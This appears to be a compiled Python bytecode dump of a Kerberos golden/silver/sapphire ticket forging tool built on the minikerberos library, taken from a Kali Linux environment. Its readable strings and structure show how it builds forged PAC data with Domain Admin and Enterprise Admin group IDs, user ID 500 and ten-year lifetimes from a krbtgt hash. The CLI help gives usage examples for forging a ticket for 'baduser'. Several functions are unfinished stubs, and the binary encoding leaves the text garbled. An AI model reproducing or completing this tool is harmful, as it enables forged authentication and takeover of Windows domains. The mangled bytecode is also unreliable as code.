
    5iy                     z   d dl mZ d dl mZ d dlZd dlZd dlZd dlZd dlZd dlZd dl	Z	d dl
Z
d dlmZ d dlmZ d dlmZ d dlmZmZmZmZ d dlmZ d d	lmZ d d
lmZ d dlmZ d dlmZ d dl m!Z!m"Z"m#Z#m$Z$m%Z%m&Z&m'Z'm(Z(m)Z)m*Z*m+Z+m,Z,m-Z-m.Z.m/Z/m0Z0m1Z1m2Z2m3Z3m4Z4m5Z5m6Z6m7Z7m8Z8m9Z9m:Z:m;Z;m<Z< d dl=m>Z>m?Z?m@Z@mAZAmBZBmCZCmDZDmEZEmFZFmGZGmHZHmIZI d dlJmKZKmLZLmMZMmNZNmOZO d dlPmQZQmRZRmSZSmTZTmUZUmVZVmWZWmXZXmYZYmZZZm[Z[m\Z\m]Z]m^Z^m_Z_m`Z`maZambZb d dlcmdZdmeZe d dlfmgZg d dlhmiZi  G d d          Zjd Zkeldk    r e
jm         ek                       dS dS )    )division)print_functionN)timegm)strptime)	unhexlify)ListOptionalDictAny)logger)CCACHE)KerberosSPN)KerberosCredential)KerberosTarget)AS_REPTGS_REPETYPE_INFO2AuthorizationDataEncTicketPartEncASRepPartEncTGSRepPartAD_IF_RELEVANTKDC_REQ_BODYAS_REQTGS_REQPrincipalNameRealmTicketAP_REQAuthenticatorEncryptedDataPA_FOR_USER_ENC	krb5_pvno
KDCOptions	APOptionsMETHOD_DATA
ETYPE_INFOPADATA_TYPEPA_PAC_REQUESTPA_ENC_TS_ENCChecksum	CKSUMTYPE)ApplicationTagNumbersPreAuthenticationDataTypesEncryptionTypePrincipalNameTypeProtocolVersionNumberTicketFlagsChecksumTypesAuthorizationDataTypeKERB_NON_KERB_CKSUM_SALT	NAME_TYPEMESSAGE_TYPE
PaDataType)Key_enctype_table_checksum_tableEnctype_HMACMD5)KERB_SID_AND_ATTRIBUTESPAC_SIGNATURE_DATAPAC_INFO_BUFFERPAC_LOGON_INFOPAC_CLIENT_INFO_TYPEPAC_SERVER_CHECKSUMPAC_PRIVSVR_CHECKSUMPACTYPEPKERB_SID_AND_ATTRIBUTES_ARRAYVALIDATION_INFOPAC_CLIENT_INFOKERB_VALIDATION_INFOUPN_DNS_INFO_FULLPAC_REQUESTOR_INFOPAC_UPN_DNS_INFOPAC_ATTRIBUTES_INFOPAC_REQUESTORPAC_ATTRIBUTE_INFO)KerberosTime	Principal)AIOKerberosClientSocket)AIOKerberosClientc                       e Zd ZdededefdZed             Zed             Zed             Zd Z	d	 Z
d
 Zd Zed             Zd Zd Zd Zd Zd Zd Zd ZdS )TICKETERtargetpassworddomainc                 v   || _         || _        || _        || _        d | _        d | _        |j        rt|j                            d          }|d         | _        t          |          dk    r|d         n|d         | _
        |j        |                     |j                   d S d S d| _        | j        | _
        d S )N/r      krbtgt)_TICKETER__password_TICKETER__target_TICKETER__domain_TICKETER__options_TICKETER__tgt_TICKETER__tgt_session_keyspnsplit_TICKETER__servicelen_TICKETER__serverkeytabloadKeysFromKeytab)selfrV   rW   rX   options	spn_partss         M/home/kali/Ninja/venv/lib/python3.11/site-packages/minikerberos/tickettest.py__init__zTICKETER.__init__`   s    " 
!%; 		*))#..I&q\DN,/	NNQ,>,>IaLLIaLDM~)''77777 *) &DN MDMMM    c                     | dz  } | dz  } | S )Ni l     }*{G )ts    rm   getFileTimezTICKETER.getFileTimes   s    	X	ro   c                     | dz   dz  dz  | z
  S N      rq   data_lengths    rm   getPadLengthzTICKETER.getPadLengthy   s    qQ&*k99ro   c                     | dz   dz  dz  S ru   rq   rx   s    rm   getBlockLengthzTICKETER.getBlockLength}   s    aA%))ro   c                 .    t          j        d           d S )Nz3Keytab loading not yet implemented for minikerberos)loggingwarning)rj   filenames     rm   ri   zTICKETER.loadKeysFromKeytab   s     	MNNNro   c                 l   t                      }t          t          j                            t          j        j                                                            }|                     |          }|dz  |d         d<   |dz	  |d         d<   d|d         d<   d|d         d<   d|d         d<   d|d         d<   |dz  |d	         d<   |dz	  |d	         d<   d
|d         d<   d
|d         d<   d|d         d<   d|d         d<   | j        |d<   d|d<   d|d<   d|d<   d|d<   d|d<   d|d<   d
|d<   t          | j
        j                  |d<   | j
        j                            d          }t          |          d
k    rd|d<   nt          |d
                   |d<   t          |          |d<   |D ]}d
|d<   d|d<   d|d<   | j                                        |d <   d!|d"<   d
|d#<   d
|d$         d<   d
|d$         d<   d
|d%         d<   d
|d%         d<   d
|d&<   d
|d'<   d
|d(<   t#                      }||d)<   |S )*Nl    	LogonTimedwLowDateTime    dwHighDateTime
LogoffTimeiKickOffTimePasswordLastSetr   PasswordCanChangePasswordMustChangeEffectiveName FullNameLogonScriptProfilePathHomeDirectoryHomeDirectoryDrivei  
LogonCountBadPasswordCountUserId,i  PrimaryGroupId
GroupCount	UserFlags                   UserSessionKeyLogonServerLogonDomainNames           LMKeySubAuthStatusLastSuccessfulILogonLastFailedILogonFailedILogonCount	Reserved3ResourceGroupCountData)rI   r   datetimenowtimezoneutc	timetuplers   r^   intr`   user_idgroupsrd   rf   r_   upperrG   )rj   kerbdataaTimeunixTimer   groupvalidationInfos          rm   createBasicValidationInfoz"TICKETER.createBasicValidationInfo   s   '))x(,,X->-BCCMMOOPP##E**19J1Fo.2:b../ 3=/3=/0 4>04> 017?*7L"#O48@B"#$459:$%o6:;$%&67 ;E%&7;E%&'78$(M!!"$"$$&!)+%&!$'(#$ !788 &,,S11v;;!),H%&& *-VAYH%&!$V  	 	E !%h!""$&*m&9&9&;&;"# @ %&!<='(9=>'()9:89#$_59:#$%56()$% ! *+%& )**!)vro   c                 P   |                                  }i }|                                |                                z   |t          <   t	                      }t	                      }|d         d         d         t
          j        j        k    r3t          j	        j        |d<   t          j	        j        |d<   d|d<   d|d<   nxd|d<   d|d<   t          | j        j                  dk    r)t          j        j        |d<   t          j        j        |d<   n(t          j        j        |d<   t          j        j        |d<   |                                |t          <   |                                |t           <   t#                      }| j                            d	          |d
<   t          |d
                   |d<   |                                |t(          <   | j        j        r|                     |           | j        j        du r*|                     |           |                     |           |S )Nticketenc-partetypeSignatureTyper   	Signatures               @   zutf-16leName
NameLengthF)r   getDatagetDataReferentsrA   r?   r/   RC4_HMACvaluer3   HMAC_MD5rf   r`   aesKeyHMAC_SHA1_96_AES256HMAC_SHA1_96_AES128rC   rD   rH   r^   encoderB   	extra_paccreateUpnDnsPacold_paccreateAttributesInfoPaccreateRequestorInfoPac)rj   kdcRepr   pacInfossrvCheckSumprivCheckSum
clientInfos          rm   createBasicPaczTICKETER.createBasicPac   s   7799#1#9#9#;#;n>]>]>_>_#_ (**)++(J'0N4K4QQQ+8+A+GK(,9,B,HL)'3K$(4L%%'3K$(4L%4>())R///</P/VO,0=0Q0W_--/</P/VO,0=0Q0W_-(3(;(;(=(=$%)5)=)=)?)?%&$&&
!]11*==
6#&z&'9#:#:
< )3););)=)=%&># 	+  ***>!U**((222''111ro   c                 d   t                      }d|                     t          |                    z  }| j                                         d| j                                                             d          }t          |          |d<   t          |          t          |          z   |d<   |d         |d         z   }|                     |          }|d|z  z  }| j                                                            d          }t          |          |d<   ||z   |d<   |d         |d         z   }|                     |          }|d|z  z  }d|d	<   | j                            d          }t          |          |d
<   ||z   |d<   |d         |d
         z   }|                     |          }|d|z  z  }d}	t          |	          |d<   ||z   |d<   |d         |d         z   }|                     |          }|	d|z  z   }
||z   |z   |
z   }|                                |z   |z   |t          <   d S )N    @z	utf-16-le	UpnLength	UpnOffsetDnsDomainNameLengthDnsDomainNameOffset   FlagsSamNameLengthSamNameOffsets                                    	SidLength	SidOffset)
rJ   rz   rf   r^   lowerr_   r   r   r   rL   )rj   r   
upnDnsInfoPAC_padupn_data	total_lenpaddns_namesamNameuser_sid_data	user_datapost_pac_datas               rm   r   zTICKETER.createUpnDnsPac	  sM   &((
D--c*oo>>>m))++EEdm.A.A.C.CEELL[YY"%h--
;"%j//CLL"@
;{+j.EE		**GcM!=&&((//<<,/MM
(),5O
()45
CX8YY		**GcM!  
7-&&{33&)'ll
?#&/#o
?#/*_2MM		**7S=  %"%m"4"4
;"+c/
;{+j.EE		**!GcM1	 !8+g5	A%/%7%7%9%9G%Cm%S!"""ro   c                 n    t                      }d|d<   d|d<   |                                | t          <   d S )Nr   FlagsLengthr[   r   )rO   r   rM   )r   pacAttributess     rm   r   z TICKETER.createAttributesInfoPac2  s>    *,,'(m$!"g(5(=(=(?(?$%%%ro   c                 Z    t                      }|                                |t          <   d S N)rN   r   rK   )rj   r   pacRequestors      rm   r   zTICKETER.createRequestorInfoPac:  s*    $
 (4';';'='=#$$$ro   c                 D   | j         j        du rO| j        | j        k    rt	          j        d           nt	          j        d           t	          j        d           dS t	          j        d           | j        | j        k    r#t                      }t          j        j	        |d<   n"t                      }t          j
        j	        |d<   d|d	<   | j         j        	 | j                                        |d
<   t          t          j        j	        | j        gd          |d<   t#                      |d<   t$          j        j	        |d         d<   | j                                        |d         d<   t          | j        | j        k    rt          j        j	        nt          j        j	        | j        | j        | j        k    r| j                                        n| j        gd          |d         d<   t-                      |d         d<   d|d         d         d<   t-                      |d<   | j         j        t/          | j         j                  dk    r;t2          j        j	        |d         d         d<   t2          j        j	        |d         d<   nut2          j        j	        |d         d         d<   t2          j        j	        |d         d<   n:t2          j        j	        |d         d         d<   t2          j        j	        |d         d<   d|d         d<   |                     |          }||fS )NTz/Requesting TGT to target domain to use as basisz3Requesting TGT/TGS to target domain to use as basisz:Request functionality not yet implemented for minikerberos)NNz,Creating basic skeleton ticket and PAC Infoszmsg-type   pvnocrealmz	name-typezname-stringcnamer   ztkt-vnorealmsnamer   r   kvnor   r   )r`   requestr_   rg   r~   infoerrorr   r-   r   r   nthashr   r   r6   	PRINCIPALr^   r   r1   r   SRV_INSTre   r!   rf   r   r/   AES256_CTS_HMAC_SHA1_96AES128_CTS_HMAC_SHA1_96r   r   )rj   r   r   s      rm   createBasicTicketzTICKETER.createBasicTicketB  s   >!T))}--NOOOORSSS MVWWW:LGHHH}--%:%A%Gz"" %:%B%Hz"F6N~$,#}2244F8+&06 $- -  F7O
  &xxF8*?*D*JF8Y'(,(;(;(=(=F8W%(59=$-9W9WY/55]f]p]v $Z^ZgIgIg0C0C0E0E0Emqmz{7 7 ) )F8W%
 ,9??F8Z(34F8Z(0!.F:~$,t~,--33<J<b<hF8$Z092@2X2^F:&w//<J<b<hF8$Z092@2X2^F:&w//8F8O8Ux ,W5.<.E.Kz"7+)*F:v&&&v..xro   c                 2   K   t          j        d           dS )Nz?S4U2Self+U2U functionality not yet implemented for minikerberos)NNNN)r~   r   )rj   s    rm   getKerberosS4U2SelfU2UzTICKETER.getKerberosS4U2SelfU2U}  s      WXXX%%ro   c                 F   t          j        d| j        d| j                   t          j                            t          j        j                  t	          j        t          | j
        j                            z   }| j
        j        rt          j        d           dS t                      }g }|d         d         d         d	d
|d<   |d         d         t          j        j        k    r6d                    d t'          d          D                       |d         d<   n|d         d         t          j        j        k    r6d                    d t'          d          D                       |d         d<   n5d                    d t'          d          D                       |d         d<   | j                                        |d<   t-          t.          j        j        | j        gd          |d<   dd	d|d<   t          j                            t          j        j                  }|                    d          |d<   |                    d          |d<   ||d<   ||d<   g |d<   t          j        d            t          j        d!           t          j        d"           | j        | j        k    rt7                      }nt9                      }|d         |d<   g |d#<   d$|d%<   ||d&<   t;          |d                   |d<   t;          |d                   |d<   t;          |d                   |d<   t;          |d                   |d<   | j                                        |d'<   t-          | j        | j        k    rt.          j        j        nt.          j        j        | j        | j        | j        k    r| j                                        n| j        gd          |d(<   | j        | j        k    rt          j        d)           nt          j        d*           |||fS )+NzCustomizing ticket for rZ   )hourszRSapphire ticket (impersonation) functionality not yet implemented for minikerberos)NNNr   r   r   ro   )keytypekeyvaluekeyr  r   c                 J    g | ] }t          j        t          j                  !S rq   randomchoicestringascii_letters.0_s     rm   
<listcomp>z,TICKETER.customizeTicket.<locals>.<listcomp>  &    ;s;s;sdeFM&J^<_<_;s;s;sro      r  c                 J    g | ] }t          j        t          j                  !S rq   r	  r  s     rm   r  z,TICKETER.customizeTicket.<locals>.<listcomp>  r  ro   r   c                 J    g | ] }t          j        t          j                  !S rq   r	  r  s     rm   r  z,TICKETER.customizeTicket.<locals>.<listcomp>  r  ro   r   r   r   r   )ztr-typecontents	transited)microsecondauthtime	starttimeendtimez
renew-tillzauthorization-dataz	PAC_LOGON_INFOz	PAC_CLIENT_INFO_TYPEz	EncTicketPartzlast-reqi[noncezkey-expirationsrealmr   z	EncAsRepPartz	EncTGSRepPart) r~   r   r_   r^   r   r   r   r   	timedeltar   r`   durationimpersonater   r   r/   r   r   joinranger   r   r   r6   r   replacerg   r   r   strr   re   )rj   r   r   ticketDurationencTicketPartflagsr   
encRepParts           rm   customizeTicketzTICKETER.customizeTicket  s   t}}}dmmTUUU!*..x/@/DEEHZadeiese|a}a}H~H~H~~>% 4	,Mnooo##)OOM E "(+J7@$ $M% 
 U#I..2X2^^^3577;s;sinoqirir;s;s;s3t3te$Z00u%i0N4Z4```3577;s;sinoqirir;s;s;s3t3te$Z003577;s;sinoqirir;s;s;s3t3te$Z0&*m&9&9&;&;M(#%2&06 $4 4 & &M'" * *M+&
 #''(9(=>>C(+(B(BM*%),)C)CM+&'5M)$*8M,' 35M./ L+,,,L1222L*+++=DM))%JJ&J)%0
5!#
:'
7'5
#$!$]:%>!?!?
: #M)$< = =
9"%mK&@"A"A
;#&}\'B#C#C
< #}2244
8+59]dm5S5S+11YbYlYr NT]VZVcEcEcDM,?,?,A,A,Aimivw-
 -
  
7
 =DM))L)****L*+++=(22ro   c                 V    t          j        d           t          j        d           dS )NzSigning/Encrypting final ticketzLPAC signing and ticket encryption not yet fully implemented for minikerberos)ro   NN)r~   r   r   )rj   r   encASorTGSRepPartr&  r   s        rm   signEncryptTicketzTICKETER.signEncryptTicket  s-    6777 	deee ro   c                     t          j        d| j                            dd          dz   z             t	                      }t          j        d           d S )NzSaving ticket in %srZ   .z.ccachez8CCACHE saving not yet fully implemented for minikerberos)r~   r   r^   r#  r   )rj   r   
sessionKeyccaches       rm   
saveTicketzTICKETER.saveTicket  sT    *dm.C.CC.M.MPY.YZ[[[  	OPPPPPro   c                    K   |                                  \  }}|R|                     ||          \  }}}|8|                     ||||          \  }}}|r|                     ||           d S d S d S d S r   )r   r)  r,  r1  )rj   r   adIfRelevantr+  r&  r   cipherr/  s           rm   runzTICKETER.run  s      #55779=9M9MfVb9c9c6}h ,-1-C-CFL]_lnv-w-w*
 8OOFJ77777 ,,8 8ro   N)__name__
__module____qualname__r$  rn   staticmethodrs   rz   r|   ri   r   r   r   r   r   r   r  r)  r,  r1  r5  rq   ro   rm   rU   rU   _   sb       *s *c *3 * * * *&   \
 : : \: * * \*  X X Xt& & &P'T 'T 'TR @ @ \@> > >9  9  9 v& & &
T3 T3 T3l  Q Q Q8 8 8 8 8ro   rU   c                    K   t          d           t          j        dd          } |                     ddd           |                     d	dd
           |                     dddd           |                     dddd           |                     dddd           |                     dddd           |                     ddd           |                     ddd           |                     dddd           |                     d dd!d"           |                     d#dd$           |                     d%dd&           |                     d'dd(           |                     d)dd*d+           |                     d,dd-           |                     d.dd/           |                     d0          }|                    d1dd2           |                    d3dd4           |                    d5dd6d7           |                    d8dd9d:           |                     d;dd<           t          t          j                  d=k    r|                                  t          d>           t          d?           t          d@           t          dA           t          dB           t          dC           t          dD           t          dE           t          dF           t          dG           t          dH           t          j	        d=           | 
                                }|j        r t          j        t          j        I           nt          j        t          j        I           |j        (t          j        dJ           t          j	        d=           |j        6|j        /|j        (t          j        dK           t          j	        d=           |j        8|j        1|j        du r(t          j        dL           t          j	        d=           |j        du r/|j        (t          j        dM           t          j	        d=           |j        du r |j        |j        dNdOlm}  |dP          }n|j        }|j        rg }|j        df|j        p|j        dQf|j        df|j        d1f|d3f|j        df|j        d fg}|D ]\  }}|s|                    |           |r>t          j        dRdS                    |                      t          j	        d=           |j         s/|j        s(t          j        dT           t          j	        d=           g }	|j!        r|	                    d%           |j"        |	                    d#           |j#        |	                    d           |j$        |	                    d)           |	r*t          j        dUdS                    |	                      |j         r|j        t          j        dV           	 tK          |j&        ||j        |          }
|
'                                 d {V  d S # tP          $ re}t          j)                    j*        t          j        k    rdNd l+}|,                                 t          t[          |                     Y d }~d S d }~ww xY w)WNzMinikerberos Ticket GeneratorTz>Creates a Kerberos golden/silver tickets based on user options)add_helpdescriptionrV   storez%username for the newly created ticket)actionhelpz-spnz}SPN (service/server) of the target service the silver ticket will be generated for. if omitted, golden ticket will be createdz-request
store_trueFzlRequests ticket to domain and clones it changing only the supplied information. It requires specifying -user)r>  defaultr?  z-domainz2the fully qualified domain name (e.g. contoso.com))r>  requiredr?  z-domain-sidz@Domain SID of the target domain the ticker will be generated forz-aesKeyzhex keyz5AES key used for signing the ticket (128 or 256 bits))r>  metavarr?  z-nthashz#NT hash used for signing the ticketz-keytabz7Read keys for SPN from keytab file (silver ticket only)z-groupsz513, 512, 520, 518, 519zVcomma separated list of groups user will belong to (default = 513, 512, 520, 518, 519)z-user-id500zCuser id for the user the ticket will be created for (default = 500)z
-extra-sidzHComma separated list of ExtraSids to be included inside the ticket's PACz
-extra-pacz-Populate your ticket with extra PAC (UPN_DNS)z-old-pacz^Use the old PAC structure to create your ticket (exclude PAC_ATTRIBUTES_INFO and PAC_REQUESTORz	-duration87600z=Amount of hours till the ticket expires (default = 24*365*10)z-tsz&Adds timestamp to every logging outputz-debugzTurn DEBUG output ONauthenticationz-userzZdomain/username to be used if -request is chosen (it can be different from domain/usernamez	-passwordzpassword for domain/usernamez-hasheszLMHASH:NTHASHz$NTLM hashes, format is LMHASH:NTHASHz-dc-ipz
ip addresszoIP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameterz-impersonatezSapphire ticket. target username that will be impersonated (through S4U2Self+U2U) for querying the ST and extracting the PAC, which will be included in the new ticketr[   z
Examples: zp	./ticketer.py -nthash <krbtgt/service nthash> -domain-sid <your domain SID> -domain <your domain FQDN> baduser
zd	will create and save a golden ticket for user 'baduser' that will be all encrypted/signed used RC4.z^	If you specify -aesKey instead of -ntHash everything will be encrypted using AES128 or AES256zc	(depending on the key specified). No traffic is generated against the KDC. Ticket will be saved asz	baduser.ccache.
z	./ticketer.py -nthash <krbtgt/service nthash> -aesKey <krbtgt/service AES> -domain-sid <your domain SID> -domain <your domain FQDN> -request -user <a valid domain user> -password <valid domain user's password> baduser
z`	will first authenticate against the KDC (using -user/-password) and get a TGT that will be usedzc	as template for customization. Whatever encryption algorithms used on that ticket will be honored,zf	hence you might need to specify both -nthash and -aesKey data. Ticket will be generated for 'baduser'z	and saved as baduser.ccache)levelzDomain should be specified!z7You have to specify either aesKey, or nthash, or keytabzMYou cannot specify both -aesKey and -nthash w/o using -request. Pick only onez.-request parameter needs -user to be specifiedr   )getpassz	Password:z-aesKey or -nthashz+missing parameters to do sapphire ticket : z, z=missing parameter -user-id. Must be set if not doing -old-pacz7doing sapphire ticket, ignoring following parameters : zWparameter -user-id will be ignored when specifying -old-pac in a sapphire ticket attack).printargparseArgumentParseradd_argumentadd_argument_grouprf   sysargv
print_helpexit
parse_argsdebugr~   basicConfigDEBUGINFOrX   criticalr   r   rh   r   r   userhashesrW   rH  r   
domain_sidr   appendr!  r   r   	extra_sidr   r  rU   rV   r5  	Exception	getLoggerrG  	traceback	print_excr$  )parserr   rk   rH  rW   missing_paramsrequired_paramsparam
param_nameignored_paramsexecuterer_  s                rm   mainri    s     	
)***$d AO P P PF
7^___
w 6t u u u

< N_ ` ` `
	'DG{|||
g LL M M M
	'Y Na b b b
	'8]^^^
	'8qrrr
	'=V ^Y Z Z Z

7e Kh i i i
W  <G  H  H  H
\@oppp

< ?f g g g
Gw Ne f f f
l9abbb
<RSSS%%&677E	ww 6V W W W	{79WXXX	yORxyyy	x, Oa b b b
w >[ \ \ \ 38}}an  C  	D  	D  	Duvvvoppptuuu#$$$ { 	| 	| 	|qrrrtuuuwxxx-...!!G } 0'-00000',////~6777~'."8W^=SOPPP~!gn&@W_X]E]E]efff$7<#7FGGG$7>#9g>N>V######7;''# )v_j)^-w~/CD^Y'\7#{#/_j)
 "1 	2 	2E: 2%%j111 	Mc		R`HaHaccdddHQKKK 	w 	MZ[[[HQKKK  	0!!,///(!!,///>%!!),,,'!!+... 	qMoTXT]T]^lTmTmooppp ? 	vw:MtuuuGNHgngNNllnn   $55!!!c!ff	s   16Y) )
[3A[[__main__)n
__future__r   r   rJ  r   r~   r
  r  structrN  asynciocalendarr   timer   binasciir   typingr   r	   r
   r   minikerberosr   minikerberos.common.ccacher   minikerberos.common.spnr   minikerberos.common.credsr   minikerberos.common.targetr   "minikerberos.protocol.asn1_structsr   r   r   r   r   r   r   r   r   r   r   r   r   r   r   r    r!   r"   r#   r$   r%   r&   r'   r(   r)   r*   r+   r,   minikerberos.protocol.constantsr-   r.   r/   r0   r1   r2   r3   r4   r5   r6   r7   r8    minikerberos.protocol.encryptionr9   r:   r;   r<   r=   minikerberos.protocol.pacr>   r?   r@   rA   rB   rC   rD   rE   rF   rG   rH   rI   rJ   rK   rL   rM   rN   rO    minikerberos.protocol.structuresrP   rQ   $minikerberos.network.aioclientsocketrR   minikerberos.aioclientrS   rU   ri  r6  r5  rq   ro   rm   <module>r~     s  b        % % % % % %       



                    , , , , , , , , , , , ,       - - - - - - / / / / / / 8 8 8 8 8 8 5 5 5 5 5 5                                                                                       e d d d d d d d d d d d d d                                        E D D D D D D D H H H H H H 4 4 4 4 4 4]8 ]8 ]8 ]8 ]8 ]8 ]8 ]8@J J JZ zGK ro   